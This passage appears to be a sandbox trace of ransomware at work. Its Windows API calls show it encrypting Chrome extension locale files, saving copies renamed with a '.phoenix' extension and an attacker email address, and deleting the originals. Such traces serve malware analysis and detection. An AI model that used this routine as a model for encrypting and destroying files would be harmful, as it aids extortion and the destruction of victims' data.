	[0258.074] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0258.074] CryptDestroyKey (hKey=0x151740) returned 1
	[0258.074] WriteFile (in: hFile=0x244, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0258.075] CryptDestroyKey (hKey=0x151300) returned 1
	[0258.075] CloseHandle (hObject=0x250) returned 1
	[0258.075] CloseHandle (hObject=0x244) returned 1
	[0258.075] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca\\messages.json")) returned 1
	[0258.076] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0258.076] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244
	[0258.076] GetFileSizeEx (in: hFile=0x244, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=259) returned 1
	[0258.076] CloseHandle (hObject=0x244) returned 1
	[0258.076] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs\\messages.json")) returned 0x20
	[0258.076] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0258.077] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244
	[0258.077] SetFilePointerEx (in: hFile=0x244, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0258.077] SetFilePointerEx (in: hFile=0x244, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0258.077] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0258.077] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151380) returned 1
	[0258.077] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0258.077] ReadFile (in: hFile=0x244, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x103, lpOverlapped=0x0) returned 1
	[0258.078] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x110, dwBufLen=0x110 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x110) returned 1
	[0258.078] WriteFile (in: hFile=0x250, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x110, lpOverlapped=0x0) returned 1
	[0258.079] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151100) returned 1
	[0258.079] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0258.079] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0258.079] CryptDestroyKey (hKey=0x151100) returned 1
	[0258.079] WriteFile (in: hFile=0x250, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0258.080] CryptDestroyKey (hKey=0x151380) returned 1
	[0258.080] CloseHandle (hObject=0x244) returned 1
	[0258.080] CloseHandle (hObject=0x250) returned 1
	[0258.080] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs\\messages.json")) returned 1
	[0258.081] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0258.081] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0258.082] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=243) returned 1
	[0258.082] CloseHandle (hObject=0x250) returned 1
	[0258.082] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da\\messages.json")) returned 0x20
	[0258.082] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0258.082] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0258.082] SetFilePointerEx (in: hFile=0x250, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0258.083] SetFilePointerEx (in: hFile=0x250, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0258.083] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244
	[0258.083] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151740) returned 1
	[0258.083] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0258.083] ReadFile (in: hFile=0x250, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xf3, lpOverlapped=0x0) returned 1
	[0258.084] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x100, dwBufLen=0x100 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x100) returned 1
	[0258.084] WriteFile (in: hFile=0x244, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x100, lpOverlapped=0x0) returned 1
	[0258.085] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151540) returned 1
	[0258.085] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0258.085] CryptEncrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0258.085] CryptDestroyKey (hKey=0x151540) returned 1
	[0258.085] WriteFile (in: hFile=0x244, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0258.085] CryptDestroyKey (hKey=0x151740) returned 1
	[0258.085] CloseHandle (hObject=0x250) returned 1
	[0258.085] CloseHandle (hObject=0x244) returned 1
	[0258.086] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da\\messages.json")) returned 1
	[0258.086] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0258.086] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244
	[0258.087] GetFileSizeEx (in: hFile=0x244, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=256) returned 1
	[0258.087] CloseHandle (hObject=0x244) returned 1
	[0258.087] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de\\messages.json")) returned 0x20
	[0258.087] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0258.087] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244
	[0258.087] SetFilePointerEx (in: hFile=0x244, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0258.087] SetFilePointerEx (in: hFile=0x244, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0258.087] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0258.088] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151640) returned 1
	[0258.088] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0258.088] ReadFile (in: hFile=0x244, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x100, lpOverlapped=0x0) returned 1
	[0258.089] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x110, dwBufLen=0x110 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x110) returned 1
	[0258.089] WriteFile (in: hFile=0x250, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x110, lpOverlapped=0x0) returned 1
	[0258.090] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151100) returned 1
	[0258.090] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0258.090] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0258.090] CryptDestroyKey (hKey=0x151100) returned 1
	[0258.090] WriteFile (in: hFile=0x250, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0258.144] CryptDestroyKey (hKey=0x151640) returned 1
	[0258.144] CloseHandle (hObject=0x244) returned 1
	[0258.144] CloseHandle (hObject=0x250) returned 1
	[0258.145] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de\\messages.json")) returned 1
	[0258.145] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0258.146] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_GB\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_gb\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0258.146] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=249) returned 1
	[0258.146] CloseHandle (hObject=0x250) returned 1
	[0258.146] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_GB\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_gb\\messages.json")) returned 0x20
	[0258.146] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_GB\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_gb\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0258.146] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_GB\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_gb\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0258.146] SetFilePointerEx (in: hFile=0x250, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0258.146] SetFilePointerEx (in: hFile=0x250, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0258.146] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_GB\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_gb\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244
	[0258.147] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151640) returned 1
	[0258.147] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0258.147] ReadFile (in: hFile=0x250, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xf9, lpOverlapped=0x0) returned 1
	[0258.148] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x100, dwBufLen=0x100 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x100) returned 1
	[0258.148] WriteFile (in: hFile=0x244, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x100, lpOverlapped=0x0) returned 1
	[0258.149] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x1517c0) returned 1
	[0258.149] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0258.149] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0258.149] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0258.149] WriteFile (in: hFile=0x244, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0258.149] CryptDestroyKey (hKey=0x151640) returned 1
	[0258.149] CloseHandle (hObject=0x250) returned 1
	[0258.149] CloseHandle (hObject=0x244) returned 1
	[0258.149] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_GB\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_gb\\messages.json")) returned 1
	[0258.150] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0258.150] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_US\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_us\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244
	[0258.150] GetFileSizeEx (in: hFile=0x244, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=249) returned 1
	[0258.150] CloseHandle (hObject=0x244) returned 1
	[0258.150] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_US\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_us\\messages.json")) returned 0x20
	[0258.150] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_US\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_us\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0258.150] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_US\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_us\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244
	[0258.151] SetFilePointerEx (in: hFile=0x244, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0258.151] SetFilePointerEx (in: hFile=0x244, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
